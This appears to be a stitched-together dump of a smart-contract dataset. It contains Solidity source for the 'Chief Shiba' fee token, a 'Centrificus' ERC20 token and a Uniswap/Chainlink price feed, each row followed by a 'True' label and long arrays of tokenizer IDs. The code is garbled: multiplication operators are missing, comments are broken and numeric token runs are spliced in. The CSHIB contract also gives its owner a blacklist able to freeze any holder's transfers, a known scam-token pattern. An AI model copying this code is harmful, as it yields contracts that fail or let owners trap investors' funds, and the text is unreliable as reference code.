3012, 1034, 1014, 1012, 1018, 1012, 2484, 1025, 3206, 10047, 8004, 8156, 8663, 6494, 6593, 1063, 3853, 22806, 1006, 4769, 5587, 2099, 1010, 21318, 3372, 17788, 2575, 17235, 1007, 5651, 1006, 22017, 2140, 3112, 1007, 1025, 1065, 1013, 1008, 9226, 1008, 1013, 3206, 3647, 18900, 2232, 1063, 3853, 3647, 4215, 2094, 1006, 21318, 3372, 17788, 2575, 1060, 1010, 21318, 3372, 17788, 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/** Submitted for verification at Etherscan.io on 2021-05-27 / /* Chief Shiba https://t.me/chiefshiba / // SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract CSHIB is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) private bots; mapping (address => uint) private cooldown; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10*9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "Chief Shiba"; string private constant _symbol = 'CSHIB'; uint8 private constant _decimals = 9; uint256 private _taxFee = 5; uint256 private _teamFee = 10; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) public { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) \|\| _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] \|\| _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 4250000000 109; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply \|\| _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(102); emit MaxTxAmountUpdated(_maxTxAmount); } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 5709, 1011, 2676, 1008, 1013, 1013, 1008, 2708, 11895, 3676, 16770, 1024, 1013, 1013, 1056, 1012, 2033, 1013, 9058, 4048, 3676, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 2260, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 3477, 3085, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 3853, 1035, 5796, 2290, 2850, 2696, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 27507, 3638, 1007, 1063, 2023, 1025, 2709, 5796, 2290, 1012, 2951, 1025, 1065, 1065, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 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pragma solidity ^0.4.23; /** * @title SafeMath * @dev Math operations with safety checks that throw on error / library SafeMath { /* * @dev Multiplies two numbers, throws on overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. / function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). / function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /* * @dev Adds two numbers, throws on overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /* * @dev total number of tokens in existence / function totalSupply() public view returns (uint256) { return totalSupply_; } /* * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. / function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /* * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. / function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /* * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred / function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /* * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. / function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /* * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. / function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /* * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. / function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /* * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract SimpleToken is StandardToken { string public name = "Centrificus"; string public symbol = "CTS"; uint public decimals = 18; uint public INITIAL_SUPPLY = 25000000000000000000000000000; function SimpleToken() { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; } }	True	[ 101, 10975, 8490, 2863, 5024, 3012, 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// SPDX-License-Identifier: MIT pragma solidity ^0.7.4; pragma experimental ABIEncoderV2; import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol"; import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import "../interfaces/tokens/IERC20Internal.sol"; import "@openzeppelin/contracts-upgradeable/math/SafeMathUpgradeable.sol"; import "@chainlink/contracts/src/v0.7/interfaces/AggregatorV3Interface.sol"; import "../interfaces/helpers/IPriceFeed.sol"; import "../interfaces/helpers/IUniswapV2Factory.sol"; import "../interfaces/helpers/IUniswapV2Pair.sol"; contract PriceFeed is IPriceFeed, OwnableUpgradeable { using SafeMathUpgradeable for uint256; IUniswapV2Router02 public uniswapRouter; IUniswapV2Factory public uniswapFactory; address public override wethToken; mapping(address => address) public chainlinkAggregators; mapping(address => uint256) public internalPriceFeed; function __PriceFeed_init( address _uniswapRouter, address _uniswapFactory, address _weth ) external initializer { __Ownable_init(); uniswapRouter = IUniswapV2Router02(_uniswapRouter); uniswapFactory = IUniswapV2Factory(_uniswapFactory); wethToken = _weth; } // Returns the amount of @param tokenA in @param amount of @param tokenB // @notice @param viewOnly MUST be 'false' if the output of this function is used for trading // access: ANY function howManyTokensAinB( address tokenA, address tokenB, address via, uint256 amount, bool viewOnly ) external view override returns (uint256) { if (viewOnly) { return uniswapFeed(tokenA, tokenB, via, amount); } else { uint256 _priceA; if (chainlinkAggregators[tokenA] != address(0)) { (, int256 _price, , , ) = AggregatorV3Interface(chainlinkAggregators[tokenA]) .latestRoundData(); _priceA = uint256(_price); } else if (internalPriceFeed[tokenA] != 0) { _priceA = internalPriceFeed[tokenA]; } require(_priceA > 0, "PriceFeed: PF1"); uint256 _priceB; if (chainlinkAggregators[tokenB] != address(0)) { (, int256 _price, , , ) = AggregatorV3Interface(chainlinkAggregators[tokenB]) .latestRoundData(); _priceB = uint256(_price); } else if (internalPriceFeed[tokenB] != 0) { _priceB = internalPriceFeed[tokenB]; } require(_priceB > 0, "PriceFeed: PF2"); return _priceB.mul(amount).div(_priceA); } } function uniswapFeed( address tokenA, address tokenB, address via, uint256 amount ) public view returns (uint256) { if (amount < 1 * 106) { //1 mWei return 0; } address[] memory pairs; if (via == address(0)) { pairs = new address[](2); pairs[0] = tokenB; pairs[1] = tokenA; } else { pairs = new address[](3); pairs[0] = tokenB; pairs[1] = via; pairs[2] = tokenA; } uint256[] memory amounts = uniswapRouter.getAmountsOut(amount, pairs); return amounts[amounts.length - 1]; } function getUniswapRouter() external view override returns (address) { return address(uniswapRouter); } // Adds XYZ/ETH aggregator address from Chainlink data feeds // access: OWNER function addChainlinkAggregator(address _token, address _aggregator) external onlyOwner { chainlinkAggregators[_token] = _aggregator; } // Sets the asset price XYZ/ETH internally // @param _price represents the amount of ETH in one XYZ // @notice the price MUST be in 1018 (18 decimals) // access: OWNER function setInternalPrice(address _token, uint256 _price) external onlyOwner { internalPriceFeed[_token] = _price; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. / interface IERC20Internal { /* * @dev Returns the amount of tokens in existence. / function totalSupply() external view returns (uint256); function decimals() external view returns (uint256); // get Token symbol function symbol() external view returns (string memory); /* * @dev Returns the amount of tokens owned by `account`. / function balanceOf(address account) external view returns (uint256); /* * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transfer(address recipient, uint256 amount) external returns (bool); /* * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. / function allowance(address owner, address spender) external view returns (uint256); /* * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. / function approve(address spender, uint256 amount) external returns (bool); /* * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /* * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. / event Transfer(address indexed from, address indexed to, uint256 value); /* * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. / event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transfer(address to, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint256); function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; event Mint(address indexed sender, uint256 amount0, uint256 amount1); event Burn(address indexed sender, uint256 amount0, uint256 amount1, address indexed to); event Swap( address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint256); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); function price0CumulativeLast() external view returns (uint256); function price1CumulativeLast() external view returns (uint256); function kLast() external view returns (uint256); function mint(address to) external returns (uint256 liquidity); function burn(address to) external returns (uint256 amount0, uint256 amount1); function swap( uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data ) external; function skim(address to) external; function sync() external; } pragma solidity >=0.7.4; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint256); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint256) external view returns (address pair); function allPairsLength() external view returns (uint256); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.7.4; interface IPriceFeed { function getUniswapRouter() external view returns (address); function wethToken() external view returns (address); function howManyTokensAinB( address tokenA, address tokenB, address via, uint256 amount, bool viewOnly ) external view returns (uint256); } pragma solidity >=0.6.2; import './IUniswapV2Router01.sol'; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function 